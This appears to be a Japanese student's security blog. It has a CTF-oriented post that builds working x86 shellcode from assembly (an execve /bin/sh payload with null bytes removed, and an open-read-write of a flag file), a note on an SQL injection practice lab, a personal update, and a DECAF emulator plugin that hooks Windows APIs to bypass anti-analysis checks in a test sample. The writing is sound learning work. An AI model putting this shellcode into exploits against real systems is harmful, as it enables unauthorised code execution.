shellcodeを書いてみる
ももいろテクノロジーさんの2番煎じみたいな感じになりそうですが…
今まで問題を解く際にshell-stormなどから拾って使っていたし, それはスクリプトキディみたいなので自分で書いてみます.
shellcode書き次第, 適宜追加していきます…
execve(x86)
#include <unistd.h> int main(){ char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); } // gcc -m32 -z execstack execve.c
cでexecve(“/bin/sh”, {“/bin/sh”, 0}, 0);する前のレジスタの値をgdbで調べて
それを参考に アセンブラを書いてみる.
$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p' 0806c270 <__execve>: 806c270: 53 push ebx 806c271: 8b 54 24 10 mov edx,DWORD PTR [esp+0x10] 806c275: 8b 4c 24 0c mov ecx,DWORD PTR [esp+0xc] 806c279: 8b 5c 24 08 mov ebx,DWORD PTR [esp+0x8] 806c27d: b8 0b 00 00 00 mov eax,0xb 806c282: ff 15 f0 a9 0e 08 call DWORD PTR ds:0x80ea9f0 806c288: 3d 00 f0 ff ff cmp eax,0xfffff000 806c28d: 77 02 ja 806c291 <__execve+0x21> 806c28f: 5b pop ebx 806c290: c3 ret 806c291: c7 c2 e8 ff ff ff mov edx,0xffffffe8 806c297: f7 d8 neg eax 806c299: 65 89 02 mov DWORD PTR gs:[edx],eax 806c29c: 83 c8 ff or eax,0xffffffff 806c29f: 5b pop ebx 806c2a0: c3 ret 806c2a1: 66 90 xchg ax,ax 806c2a3: 66 90 xchg ax,ax 806c2a5: 66 90 xchg ax,ax 806c2a7: 66 90 xchg ax,ax 806c2a9: 66 90 xchg ax,ax 806c2ab: 66 90 xchg ax,ax 806c2ad: 66 90 xchg ax,ax 806c2af: 90 nop $ gdb -q ./a.out Reading symbols from ./a.out...(no debugging symbols found)...done. gdb-peda$ disas *0x80ea9f0 Dump of assembler code for function _dl_sysinfo_int80: 0x0806ed70 <+0>: int 0x80 0x0806ed72 <+2>: ret End of assembler dump.
int 0x80が呼ばれる前のレジスタの値を整理してみると
EAX: 0xb ('\x0b') EBX: 0x80bdf48 ("/bin/sh") ECX: 0xffffd478 --> 0x80bdf48 ("/bin/sh") EDX: 0x0
.intel_syntax noprefix .globl _start _start: push 0x0068732f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp mov eax, 11 int 0x80
ライブラリなどをリンクしないで実行します.
$ gcc -m32 -nostdlib execve.s $ ./a.out
シェルが立ち上がることが確認出来ました. 機械語の部分だけ抽出して, 明示的にシェルコードを実行してみます.
char sc[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; int main() { (*(void (*)())sc)(); } // $ gcc -m32 -z execstack -o sc shellcode.c // $ ./sc
シェルが立ち上がることが確認出来ました. nullバイトが混ざっていて, strcpy(); などの関数をバイパス出来ないので, null-freeなものにしていきます.
.intel_syntax noprefix .globl _start _start: push 0x68732f2f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
/bin/shと/bin//shは同等なので, これでnullバイトが取り除けて,
即値で0xb入れていたところも lea eax, [edx+11]でnullバイトが取り除けました.
最初はコレでいけるだろ〜wとか思ってたけどSEGVで落ちた, ので調べてみました. (と言ってもstraceしただけです)
/bin/sh\372〜みたいなファイルは無いよ〜と怒られています.(それはそう)
最後にnullバイトが必要っぽい.
(文字列的?にnullバイトが必要なだけで, 機械語にnullバイトが混ざってはいけないので以下のように書き直しました)
機械語だけ抽出して実行してみます.
.intel_syntax noprefix .globl _start _start: xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
char sc[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main() { (*(void (*)())sc)(); } // $ gcc -m32 -z execstack -o sc3 shellcode3.c // $ ./sc3 // $
シェルが立ち上がることが確認出来ました.
怒られていません.
open -> read -> write
#include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include<unistd.h> int main(){ int fd, len; char buf[100]; fd = open("/home/tsun/flag", O_RDONLY); len = read(fd, buf, 100); write(1, buf, len); return 0; }
c言語の詳しいお作法とか分からないので間違っていたら教えてください. 一応これで出来る.
objdump -M intel -S ./a.out | sed -n '/<main>:/,/^$/p' 08048e24 <main>: 8048e24: 55 push ebp 8048e25: 89 e5 mov ebp,esp 8048e27: 83 e4 f0 and esp,0xfffffff0 8048e2a: 83 c4 80 add esp,0xffffff80 8048e2d: 65 a1 14 00 00 00 mov eax,gs:0x14 8048e33: 89 44 24 7c mov DWORD PTR [esp+0x7c],eax 8048e37: 31 c0 xor eax,eax 8048e39: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048e40: 00 8048e41: c7 04 24 68 df 0b 08 mov DWORD PTR [esp],0x80bdf68 8048e48: e8 23 3d 02 00 call 806cb70 <__libc_open> 8048e4d: 89 44 24 10 mov DWORD PTR [esp+0x10],eax 8048e51: c7 44 24 08 64 00 00 mov DWORD PTR [esp+0x8],0x64 8048e58: 00 8048e59: 8d 44 24 18 lea eax,[esp+0x18] 8048e5d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048e61: 8b 44 24 10 mov eax,DWORD PTR [esp+0x10] 8048e65: 89 04 24 mov DWORD PTR [esp],eax 8048e68: e8 73 3d 02 00 call 806cbe0 <__libc_read> 8048e6d: 89 44 24 14 mov DWORD PTR [esp+0x14],eax 8048e71: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14] 8048e75: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 8048e79: 8d 44 24 18 lea eax,[esp+0x18] 8048e7d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048e81: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 8048e88: e8 c3 3d 02 00 call 806cc50 <__libc_write> 8048e8d: b8 00 00 00 00 mov eax,0x0 8048e92: 8b 54 24 7c mov edx,DWORD PTR [esp+0x7c] 8048e96: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14 8048e9d: 74 05 je 8048ea4 <main+0x80> 8048e9f: e8 7c 5a 02 00 call 806e920 <__stack_chk_fail> 8048ea4: c9 leave 8048ea5: c3 ret 8048ea6: 66 90 xchg ax,ax 8048ea8: 66 90 xchg ax,ax 8048eaa: 66 90 xchg ax,ax 8048eac: 66 90 xchg ax,ax 8048eae: 66 90 xchg ax,ax
-static
オプション付きでコンパイルしました.
open(), read(), write()それぞれステップイン実行していって
sysenter
呼び出し時のレジスタの値を調べました.
open(filename, 0); EAX: 0x5 -> open()のシステムコール番号 EBX: 0x80bdf68 ("/home/tsun/flag") -> ファイル名のアドレス ECX: 0x0 raxにfile descripterが返る
read(fd, buf, len); EAX: 0x3 -> read()のシステムコール番号 EBX: 0x3 -> ファイルディスクリプタ ECX: 0xffffd3b8 -> bufferのアドレス EDX: 0x64 -> 読み込む長さ raxに読み込んだサイズが返る
write(1, buf, len); EAX: 0x4 -> write(0のシステムコール番号 EBX: 0x1 -> STDOUT ECX: 0xffffd3b8 -> bufferのアドレス EDX: 0xf -> 書き出す長さ
このような流れでshellcodeを組めば良さそう
.intel_syntax noprefix .globl _start _start: xor ecx, ecx push ecx push 0x67616c66 push 0x2f2f6e75 push 0x73742f65 push 0x6d6f682f mov ebx, esp push ecx push ebx lea eax, [ecx + 5] int 0x80 lea ecx, [ebx + 40] mov ebx, eax xor eax, eax lea edx, [eax + 100] lea eax, [eax + 3] int 0x80 mov edx, eax xor eax, eax lea ebx, [eax + 1] lea eax, [eax + 4] int 0x80
$ echo THIS_IS_A_FLAG > /home/tsun/flag $ gcc -nostdlib -m32 sc.s $ ./a.out THIS_IS_A_FLAG [6] 21817 segmentation fault (core dumped) ./a.out
SEGVするけどまあ読めるので良いでしょう. 59byteでした.
.intel_syntax noprefix .globl _start _start: xor ecx, ecx push ecx push 0x67616c66 push 0x2f2f6e75 push 0x73742f65 push 0x6d6f682f mov ebx, esp lea eax, [ecx + 5] int 0x80 mov ecx, esp mov ebx, eax mov dl, 0x64 mov al, 0x3 int 0x80 mov edx, eax mov bl, 0x1 mov al, 0x4 int 0x80
さっきのはとりあえず脳死でただ書いただけな感じだったし暇だったので48byteまで削った.
execve(x86_64)
reverse-shell(x86)
reverse-shell(x86_64)
execve_alphanumeric(x86)
exercise sql injection
面白いの見つけたので紹介します.
脆弱性を突くチャレンジ的なやつ.
まだ見つけたばかりで全部やっていなくてレベル感が分からないけど,知見になりそう.
今のところ
- Social Engineering
- XSS
- CSRF
- SQL Injection
- File Upload
に関するチャレンジができます〜(といっても自分で環境を構築しないといけない)
SQL Injection Challengeを途中までやったけどWrite-Upとか公開していいか分からないのでChallenge1だけ紹介
Vagrantとかで適当に環境を構築してください(試してないけどHerokuでもできるっぽい?)
- PHP
- MySQL
- Webサーバ (僕はApache使った)
- dbdata.sqlというのがあるので適当なdatabase作って取り込む
そしてローカルに立てたサーバにアクセスすると下のような画面が出ます
左下の "REGISTER NOW!" を押して適当にユーザ作ってください.
※ちゃんと表示されなかったたらエラーログを見ながら解決するといいです. 調べながらやると解決できました.
itemmarket.phpにSQLiの脆弱性があると書いているのでソースを見ます.
ソースを見ながら脆弱性を探せるので学ぶのには丁度良さそう.
133行目,GETでユーザの入力をそのまま処理している箇所がありここがSQLインジェクションチャンス
悪意のあるリクエストを送ってあげました.
きちんと悪意のあるリクエストが飛んでいます
自分でこうしてログ見て攻撃を疑似体験するの面白い〜w
tableが消えてしまいました
これだとマズいので,
しっかりエスケープ処理することが大事って思いますね
まだ他にもSQLiチャレンジ以外にもあるので
遊んでいきたい
近状報告とこれからの予定的な
無事、3年生に進級できて学校生活を送っている
最近はwebをしたりしています(6月頭にhardeningがあるので)
そして何か開発しないとな〜と思っている
普通にCTFとかでコードは書くけど
開発みたいな感じのはあまりした事がないw
ミニキャンプ沖縄でやったntddkさんの
hardening終わって色々と足りなかった知識/技術を見直したら
またセキュキャンまでpwn生活します(たまに常設のwebも解いていく)
バイト終わった3月末くらいからイベント型のCTFには大体参加しているので
これからも参加して知見を得ていきたい
全てのジャンルある程度1人で解けるようになりたいので
2016年はどんどん参加していって新年を迎える頃には全ジャンル脱初心者していたい(まだCryptoとかPPC全然ダメ)
1年間くらいセキュキャン参加のために頑張ってきたので
是非とも参加したい
ミニキャンプ沖縄・仮想化技術を用いたマルウェア解析-Revenge(プラグイン開発編)
ミニキャンプ沖縄で出来なかったところのリベンジです!
環境構築は前回書いてるのでそちらを参考にしてください.
解析対象はblue.exeというマルウェアっぽい挙動をするマルウェアではないexeです.
それでは,Let's プラグイン開発!!
(1週間程度の冬休みにぼちぼちとやる予定です.随時更新します.)
geteip.c
ソースを全部載せると見づらくなるので
適当に抜粋しています.
static plugin_interface_t geteip_interface; static DECAF_Handle processbegin_handle = DECAF_NULL_HANDLE; static DECAF_Handle blockbegin_handle = DECAF_NULL_HANDLE; static DECAF_Handle isdebuggerpresent_handle = DECAF_NULL_HANDLE; char targetname[512]; uint32_t target_cr3; typedef struct { uint32_t call_stack[1]; //paramters and return address DECAF_Handle hook_handle; } IsDebuggerPresent_hook_context_t; /* * BOOL IsDebuggerPresent(VOID); */ static void IsDebuggerPresent_ret(void *param) { IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle);
cpu_single_env->regs[R_EAX] = 0; DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void IsDebuggerPresent_call(void *opaque) { DECAF_printf("IsDebuggerPresent "); IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t*)malloc(sizeof(IsDebuggerPresent_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], IsDebuggerPresent_ret, ctx, sizeof(*ctx)); } static void geteip_block_begin_callback(DECAF_Callback_Params* params) { if(params->bb.env->cr[3] == target_cr3) { target_ulong eip = params->bb.env->eip; target_ulong eax = params->bb.env->regs[R_EAX]; // DECAF_printf("EIP = 0x%08x, EAX = 0x%08x\n", eip, eax); } } static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { if(strcmp(params->cp.name,targetname) == 0) { DECAF_printf("Process %s you spcecified starts \n", params->cp.name); target_cr3 = params->cp.cr3; isdebuggerpresent_handle = hookapi_hook_function_byname("kernel32.dll", "IsDebuggerPresent", 1, target_cr3, IsDebuggerPresent_call, NULL, 0); blockbegin_handle = DECAF_register_callback(DECAF_BLOCK_BEGIN_CB, &geteip_block_begin_callback, NULL); } }
優しいことに,IsDebuggerPresent()は,雛形があります.
IsDebuggerPresent_ret()の中に
cpu_single_env->regs[R_EAX] = 0;
を入れるだけです.
このIsDebuggerPresent()というのは,Debugしているかを調査し,
Debugされていたら終了するという挙動を示します.
戻り値が0になればDebugされていないと認識されます.
IsDebuggerPresent()はHookできました.ここから課題スタートです.
IsDebuggerPresent_ret()とIsDebuggerPresent_call()を参考にこれからHookしていきたいと思います.
blue.exeのソースは同じディレクトリにあるblue.cppですが,
本当のマルウェアはソースを与えてくれるなんて優しいことはしないと思うので
IDAで見ます.(blue.cppを見ながら...w)
[Level1] Blue...
static inline int Blue(){
printf("\n[Level 1] Blue ...");
Sleep(360000);
DWORD time1 = GetTickCount();
Sleep(500);
if ((GetTickCount() - time1) < 450) Detected();
else return 0;
}
Level1は,このような挙動を示します.
6分間Sleep()した後に,GetTickCount()を2回コールしています.
ちなみに,Detected()は終了する関数みたいな感じです.
なぜ6分間もSleep()しているのかですが,もしマルウェアがサンドボックスなどに投げられて,自動解析される際に,挙動を隠すことができるからです.
Malwr - Malware Analysis by Cuckoo Sandbox
などは実際に投げられたプログラム(マルウェア)を動かし,スクリーンショットでマルウェアの挙動を返してくれます.
その際に,6分間何もしなければスクリーンショットには,それっぽい挙動は写りこみません.
話が少しそれましたが,手始めにSleep()をHookしていきたいと思います.
構造体を宣言し,Sleep_ret(),Sleep_call()の順でコードを書いていきます.
static DECAF_Handle sleep_handle = DECAF_NULL_HANDLE; . . typedef struct{ uint32_t call_stack[2]; DECAF_Handle hook_handle; }Sleep_hook_context_t; . . static void Sleep_ret(void *param){ Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)param; hookapi_remove_hook(ctx->hook_handle); DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void Sleep_call(void *opaque){ DECAF_printf("Sleep "); Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)malloc(sizeof(Sleep_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->call_stack[1] = 1; DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], Sleep_ret, ctx, sizeof(*ctx)); } . . static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { sleep_handle = hookapi_hook_function_byname("kernel32.dll", "Sleep", 1, target_cr3, Sleep_call, NULL, 0); }
どんな事をしているかですが,注目するのはSleep_call()中の
ctx->call_stack[1] = 1; です.
stackにリターンアドレス,引数の順で値を積んでいます.(たぶん)
構造体宣言でcall_stack[2]としたのはコレが理由です.
だからcall_stackの2番目に1を代入して1msしかSleep()しないようにしています.
DECAF_write_mem()して反映させて終わりです.
次はGetTickCount()をHookしていきます.
でもこの関数さすがに分からなかったのでMSDNで調べました.
GetTickCount
システムを起動した後の経過時間を、ミリ秒(ms)単位で取得します。この時間は、システムタイマの分解能による制限を受けます。システムタイマの分解能を取得するには、GetSystemTimeAdjustment 関数を使います。
DWORD GetTickCount(VOID);パラメータ
パラメータはありません。
戻り値
関数が成功すると、システムを起動した後の経過時間が、ミリ秒単位で返ります。
解説
経過時間は DWORD 型で保存されています。システムを 49.7 日間連続して動作させると、経過時間は 0 に戻ります。
てな感じです.
Blue()の中で2回GetTickCount()をコールしていて,
1回目と2回目の間にSleep(500)を挟み,差を比較しています.差が450以内だとプログラムが終了する.
なるほど,Sleep()が1msとか小さい値でHookされていたら差が450以内で収まるのか.
頭いい...イタチごっことはまさにこの事か...
戻り値...戻り値をどうにかすれば良さそう!!
static DECAF_Handle gettickcount_handle = DECAF_NULL_HANDLE; . . int cnt = 1; . . typedef struct{ uint32_t call_stack[1]; DECAF_Handle hook_handle; }GetTickCount_hook_context_t; . . static void GetTickCount_ret(void *param){ GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)param; hookapi_remove_hook(ctx->hook_handle); if(cnt){ cpu_single_env->regs[R_EAX] = 0; cnt--; } else{ cpu_single_env->regs[R_EAX] = 114514; //cpu_single_env->regs[R_EAX] = 0; } DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void GetTickCount_call(void *opaque){ DECAF_printf("GetTickCount "); GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)malloc(sizeof(GetTickCount_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetTickCount_ret, ctx, sizeof(*ctx)); } . . static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { gettickcount_handle = hookapi_hook_function_byname("kernel32.dll", "GetTickCount", 1, target_cr3, GetTickCount_call, NULL, 0); }
解説をすると1回目のGetTickCount()では0を返して,2回目のGetTickCount()では114514を返すだけの簡単な事をしています.
差が450をはるかに超えています...Hookできた...!!
これでlevel1のBlue()をbypassできました~w
[level2] Charlie...
static inline int Charlie(){
printf("\n[Level 2] Charlie ...");
SYSTEM_INFO siSysInfo;
GetSystemInfo(&siSysInfo);
if (siSysInfo.dwNumberOfProcessors < 2) Detected();
else return 0;
}
SYSTEM_INFO構造体ってなんだ...調べた.
構造体: SYSTEM_INFO
プロセッサおよびメモリに関するシステム情報が格納されます。
定義
Type SYSTEM_INFO
dwOemId As Long
dwPageSize As Long
lpMinimumApplicationAddress As Long
lpMaximumApplicationAddress As Long
dwActiveProcessorMask As Long
dwNumberOfProcessors As Long
dwProcessorType As Long
dwAllocationGranularity As Long
wProcessorLevel As Integer
wProcessorRevision As Integer
End Type
なるほど.
GetSystemInfo()ってなんだ...調べた.
GetSystemInfo
現在のシステムに関する情報(ページのサイズやプロセッサの種類など)を取得します。
VOID GetSystemInfo( LPSYSTEM_INFO lpSystemInfo // システム情報 );
パラメータ
- lpSystemInfo
- 1 個の 構造体へのポインタを指定します。関数から制御が返ると、この構造体に、システムに関する情報が格納されます。
戻り値
戻り値はありません。
なるほど.
Charlie()は,GetSystemInfoでSYSTEM_INFO構造体メンバのプロセッサの個数が格納されているやつを読み取って1以下だと終了する!という認識です.
ということは,以下の様なコードでHookできるはず.
static DECAF_Handle getsysteminfo_handle = DECAF_NULL_HANDLE; . . typedef struct{ uint32_t call_stack[10]; DECAF_Handle hook_handle; }GetSystemInfo_hook_context_t; . . static void GetSystemInfo_ret(void *param){ GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)param; hookapi_remove_hook(ctx->hook_handle); DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack); ctx->call_stack[5] = 2; DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack); DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void GetSystemInfo_call(void *opaque){ DECAF_printf("GetSystemInfo "); GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)malloc(sizeof(GetSystemInfo_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4*10, ctx->call_stack); /* ctx->call_stack[5] = 2; この関数の中で書き換えたら上手くいかない DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 4*10, ctx->call_stack); */ ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetSystemInfo_ret, ctx, sizeof(*ctx));
} . . static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { getsysteminfo_handle = hookapi_hook_function_byname("kernel32.dll", "GetSystemInfo", 1, target_cr3, GetSystemInfo_call, NULL, 0); }
戻り値がないからGetSystemInfo_call()の中でどうにかするんだな~って思い込んでました.(Sleep()も戻り値が無く,Sleep_call()でどうにかしたため)
でもMSDNちゃんと読むと
!!!関数から制御が帰ると!!!システムに関する情報が格納される
みたいなこと書いてたので,もしかしてGetSystemInfo_ret()内で何かするんじゃねって思ったので,GetSystemInfo_call()でやってた事を,GetSystemInfo_ret()内のhookapi_remove_hook()の後にそのまま持ってきてやると出来ました.
ちなみに,これもともとプロセッサとか2つ以上割り当ててたらどうなるんだろう...
マシンに1つしか積んでないので出来ないから分からない.
[Level3] Delta...
Graph Viewできない,なんでだろう
static inline int Delta(){
printf("\n[Level 3] Delta ...");
unsigned long NumberOfProcessors = 0;
__asm{
mov eax, fs:[0x30]
mov eax, [eax + 0x64]
mov NumberOfProcessors, eax
}
if (NumberOfProcessors & 0x1) Detected();
else return 0;
}
なんか,NumberOfProcessorsってあるからlevel2と同じなのかな...でも構造体とかないぞ...どうなんだろう.
とりあえずインラインアセンブラが使われているからムズそう.ゆうて簡単な命令しか書いてないけど.
----------------------2015/12/28------------------------------------
考えたけど思い浮かばないので,一旦この記事を終わる.できたら更新します.
とりあえずNumberOfProcessors_[ret/call]()作ったけどどうしていいのかわからない.
---------------------2015/12/29-------------------------------------
再考.
よくよく考えると別に関数呼出しているわけでもない...
そして,fsとか0x30とか__asmとか色々調べてたらいい記事を見つけてしまった.神.
TEB構造体,PEB構造体なるものがある事がわかった.これは結構でかい.
記事にも書いているがTEB構造体から0x30の位置にPEB構造体があり,そこからPEB構造体にアクセスできるらしい.
そして,コードから読み取る限りは,PEB構造体(fs:[0x30])から0x64の位置にプロセッサの数についての情報が格納されているらしい.(PEB構造体の25番目)
偶然,持っていた本にPEB構造体について書かれていた.
うさぴょんさん著の"デバッガによるx86プログラム解析入門(x64対応)"のP65にある.
googleの試し読み的なやつにもあったのでその画像を載せてみる.
100(0x64)/4で確かに25番目にNumberOfProcessorsとある.
こうして本に書いてあるが実際にはこのような情報は公表はされていないらしい.
よし,あとはコレを書き換えるだけだが,TEB構造体のアドレスの取得のやり方がわからない.頑張って探した.日本の記事は調べたけどだれも書いてなさそうっぽい,言語設定を英語にして探した.(検索結果が変わるかは分からないけど)
http://decaf-platform.googlecode.com/svn-history/r247/trunk/shared/windows_vmi.cpp
ページ内を0x30で検索してあげると,TEB構造体からPEB構造体へアクセスしているコードが載っている.
これを参考にDECAF_[read/write]_mem()するだけでいけそう.
static void NumOfProc(){ uint32_t base = 0, peb = 0, peb_addr = 0, proc = 0; base = cpu_single_env->segs[R_FS].base; peb = base + 0x30; DECAF_read_mem(NULL, peb , 4, &peb_addr); DECAF_read_mem(NULL, peb_addr + 0x64 , 4, &proc); proc = 2; DECAF_write_mem(NULL, peb_addr + 0x64 , 4, &proc); } . . static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { NumOfProc(); }
いえーいbypassed
疲れた〜楽しい〜w
[level4] Echo...
static inline int Echo(){
printf("\n[Level 4] Echo ...");
__try{__asm{cmpxchg8b fs:[0x1000]}}
__except (1){Detected();}
return 0;
}
もう限界を迎えた.
なんか例外処理みたいな事してるな~くらいしか考える頭がない...疲れた(甘え)
今の方針は明確ではないけど,"cmpxchg8b"命令がF00F Bugというバグを引き起こしている命令っぽいのでそれをどうにかするのかなって...そろそろ本気でつらいw